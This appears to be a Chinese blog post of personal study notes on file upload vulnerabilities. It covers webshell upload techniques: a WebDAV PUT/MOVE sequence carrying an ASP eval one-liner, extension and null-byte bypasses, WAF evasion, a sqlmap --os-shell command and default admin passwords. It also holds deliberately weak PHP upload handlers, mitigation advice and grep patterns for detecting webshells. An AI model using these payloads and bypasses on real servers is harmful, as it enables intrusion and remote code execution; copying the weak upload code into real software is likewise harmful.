Web_FileUpload学习

本文深入探讨文件上传漏洞的原理及常见攻击手段,包括利用不同服务器配置实现恶意脚本执行、绕过安全检查的方法以及如何安全地实施文件上传功能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

笔记而已~~~~~~~~~~~~~~~~~~~~~·

文件上传漏洞

是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力,最为直接和有效

简单了解

文件上传导致的安全问题一般有:

1)上传文件是WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行

2)上传文件是FLASH 的策略文件 crossdomain.xml, 黑客用以控制FLASH 在该域下的行为

3)  上传文件是病毒,木马等,黑客诱骗用户或者管理员下载执行

4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺骗

5)另外还有 上传文件溢出服务器的后台处理程序,如图片解析模块,或者上传合法的文本文件,其内容包含了PHP 脚本,再通过“本地文件包含漏洞”执行此脚本


大多数情况下,文件上传漏洞一般都是指 上传WEB脚本能够被服务器解析 的问题,满足条件:

1)上传文件能够WEB容器解释执行,所以文件上传后所在的目录要是WEB容器所覆盖到的路径

2)能够从WEB上访问这个文件

3)删除该的文件被安全检查,格式化,图片压缩等功能改变了内容,则也可能导致攻击不成功


采用黑名单是一种非常不好的设计思想


绕过文件上传检查功能:

1)攻击者手动修改了上传过程的POST 包,在文件名后添加一个 %00 字节,则可以截断某些函数对文件名的判断。

2)检查文件中前多少字节 比如判断是否为jpg 等  浏览器的 MIME Sniff 功能实际上也是通过读取文件的前 256字节 来判断文件的类型的


apache 1.x 2.x 对文件名的解析是从后往前 解析的 知道遇见余个 Apache 认识的文件类型为止

apache 认识的文件类型定义在 apache 的mime.types 文件中


.rar 是一个合理的上传需求

phpshell.php.rar.rar.rar.rar  从而导致了脚本被执行


IIS 6   还会将 abc.asp;xx.jpg 解析为 abc.asp

IIS 6   还有将 /*.asp/ 目录下的所有文件都作为asp 文件进行解析 eg:xxx/xxx.asp/x.jpg


IIS  中支持 PUT 功能所导致的若干 上传脚本问题

PUT 是在 WEBDAV 中定义的一个方法。 WEBDAV 大大扩展了HTTP 协议中 GET POST HEAD 等功能,所包含的PUT方法允许用户上传文件到指定的路径下,但在许多的WEB SERVER中,默认是禁用了此方法的,或者对能够上传的文件类型做了严格限制。

IIS 中如果目录支持写权限,开启了WEBDAV,则会支持PUT 方法,再结合MOVE 方法就能将原本只允许上传文本文件改写为脚本文件,从而执行WEBSHELL。MOVE 能否执行成功取决于IIS 服务器是否勾选了“脚本资源访问”复选框


1)通过OPTIONS 探测服务器信息

OPTIONS /HTTP/1.1

HOST: WWW.XXX.COM

2)上传文本文件

PUT /TEST.TXT HTTP/1.1

HOST: WWW.XXX.COM

Content-Length: 26

<%eval(request("cmd"))%>

3)通过 MOVE 改名

MOVE /TEST.TXT HTTP/1.1

HOST: WWW.XXX.COM

Destination: htt[://xxx.cp,/shell.asp

工具: IIS PUT Scanner

PHP 5.2.12  PHP 5.3.1

上传成功了JPG   然后去访问

访问 http://www.xxx.com/path/test.jpg/note.php 将会把jpg当作PHP解析 note.php不存在

漏洞原因是 PHP  fastcgi 方式下  获取环境变量的方式

解决办法是  cgi.fix_pathinfo 设置为 0


利用上传的文件 作为钓鱼网站

制作 jpg 类型的 钓鱼文件

开始是  png 特征 然后是转向钓鱼网址的代码

IE 8中出现了 MIME Sniff  不会将JPG 文件当作 HTML 执行


设置安全的文件上传功能:

1) 目录设置为不可执行

在实际应用中,很多大型企业的上传应用将文件上传放到独立的存储上,作静态文件处理,一方面使用缓存加速,一方面杜绝脚本执行的可能。

2)判断文件类型

结合使用 MIME TYPE,  http://www.dreamdu.com/xhtml/mime_type/   后缀检查等方式。 

文件检查时 使用白名单,对于图片的处理,可以使用 压缩函数或者resize 函数,在处理图片的同时破坏图片中可能包含的HTML代码 

3)使用随机函数改写文件名和文件路径

某些环境,用户能上传但不能访问  EG  shell.php.rar.rar 或者 crossdomain,xml 等文件被改名就没用了

4)单独设置文件服务器的域名

上传 crossdomain.xml 上传包含JS 的XSS利用等问题得到解决


网上搜索学习:

1)   xxx/res/admin/list_file.aspx    上传文件


2) burpsuite 抓包  然后直接发到repeater

修改 1.asp;1.asp;1.png;1.jpg  

上传php的 要在后缀加两空格  1.php_ _ 


3) 

sqlmap 严格扫描  : sqlmap.py -r 1.txt(抓包) --dbms=mssql(后台管理系统) --random-agent --level 5 --risk 3 --os-shell


4)  后台登陆 管理员账户:admin 密码:.admin. (注意哦有标点)   或者 admin admin  等等


5)IE访问 http://www.xxx/admin/mEditor_Full.html ,上传图片处传aspx一句话,

抓包在文件名xxxxx.aspx中的"."与"aspx"间加一个空格,且url中的path=upload/改为path=..即可成功绕过WAF。


6)用asp的那个%00 url-decode截断上传的,但是各种传不上,变成随机文件名,

这里就可以使用传说中的那个奇葩文件名来达到上传a.aspx.a;.a.aspx.jpg..jpg  然后抓包改包


7) 

只判断了第一个扩展名,绕过很简单,例如: test.jpg.php
上传后保存的是PHP文件。


8)  遇到 WAF   拦截我们的WEBSHELL时  ,修改包 

只要删除filename前面的分号,然后发送请求,发现网站卫士不会进行拦截,原因很简单,匹配不到filename了,进而找不到我的js.asp了,因此就不拦了。



9)

代码1:  前端 验证文件名的上传  弹框说不行

    <SCRIPT LANGUAGE="JavaScript">
    <!-- Begin
    extArray = new Array(".gif", ".jpg", ".png");
    function LimitAttach(form, file) {
    allowSubmit = false;
    if (!file) return;
    while (file.indexOf("\\") != -1)
    file = file.slice(file.indexOf("\\") + 1);
    ext = file.slice(file.indexOf(".")).toLowerCase();
    for (var i = 0; i < extArray.length; i++) {
    if (extArray[i] == ext) { allowSubmit = true; break; }
    }
    if (allowSubmit) form.submit();
    else
    alert("只能上传:  "
    + (extArray.join("  ")) + "\n请重新选择文件"
    + "再上传.");
    }
    //  End -->
    </script>
burpsuite 抓包 修改 文件名  即 上传后缀 JPG  修改为 php 

代码2:后台验证文件不是 image/jpeg 的   不能上传

<?php
//print_r($_FILES['uploadfile']);
if (isset ( $_POST ['upload'] ) && ! empty ( $_POST ['upload'] )) {
	if ($_FILES ['uploadfile'] ['type'] != "image/jpeg") {
		exit ( 'EEOR: 上传文件不是正确图像' );
	} else {
		$upfile = "upfile" . "/" . rand ( 1, 5 ) . $_FILES ['uploadfile'] ['name'];
		if (is_uploaded_file ( $_FILES ['uploadfile'] ['tmp_name'] )) {
			if (! move_uploaded_file ( $_FILES ['uploadfile'] ['tmp_name'], $upfile )) {
				echo '出错!!移动文件失败!';
				exit ();
			} else {
				
				echo "上传成功路径是:$upfile";
			}
		}
	
	}

}
?>
burpsuite  抓包 上传 jpg  修改 filename="xxx.php"  并且修改  Content-Type:  image/jpeg


代码3: 采用黑名单的禁止上传 

	function upload() {
		if (! file_exists ( $this->newpath )) {
			echo "<script>alert('该目录不存在!')</script>";
			return;
		} else {
			$arr = explode ( '.', $this->name );
			if (in_array ( $arr [1], $this->not )) {
				echo "<script>alert('该类型文件禁止上传!')</script>";
				return;
			} else if ($this->name == '') {
				echo "<script>alert('请选择上传的文件!')</script>";
				return;
			} else if ($this->size > $this->notsize) {
				echo "<script>alert('上传文件超过规定大小!')</script>";
				return;
			} else if (file_exists ( "$this->newpath" . "$this->name" )) {
				echo "<script>alert('该文件已经存在!')</script>";
				return;
			} else {
				$this->move = move_uploaded_file ( $this->path, $this->newpath. $this->setNewName() );
				$this->move ();
			}
		}
	}
html,htm,php,php2,php3,php4,phtml,pwml,inc,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,com,dll,vbs,js,reg,cgi,htaccess,asis,sh,shtml,shtm,phtm
用00 截断来 绕过~~~~~   php%00  或者 php%00jpg


代码4:  白名单  限制了文件类型和 后缀名

if($_FILES['file']['size'] > 1000000){
   echo '文件过大!';
   exit;
}
if($_FILES['file']['type']!='image/jpeg' && $_FILES['file']['type']!='image/gif'){
   echo '文件不是JPG或者GIF图片!';
   exit;
} 
$today = date("YmdHis");
$filetype = $_FILES['file']['type'];
if($filetype == 'image/jpeg'){
  $type = '.jpg';
}
if($filetype == 'image/gif'){
  $type = '.gif';
}

function checkPath($_patch){
		if (!is_dir($_patch) || !is_writeable($_patch)) {
			if (!mkdir($_patch)) {
			exit('ERRIR:创建目录失败');
			}
		}
}
checkPath($_POST['path']);
$upfile =  $_POST['path']."/". $today . $type;
if(is_uploaded_file($_FILES['file']['tmp_name']))
{
   if(!move_uploaded_file($_FILES['file']['tmp_name'], $upfile))
   {
     echo '移动文件失败!';
     exit;
    }
}
else
{
   echo 'problem!';
   exit;
}
echo '<h1>success!</h1><br>'; 

网上说的是  repeater 下  request 下面看看 content-Disposition 下面修改发送存储路径~_~是bug

发送  1.asp;    或者 ../   目录下   跨目录传送文件~~~~~~~~~~~~






另外知识:

在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

可以看到在Windows上正则表达式与linux略有区别,如下:
 findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:
 egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

http://www.freebuf.com/articles/web/12064.html











D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值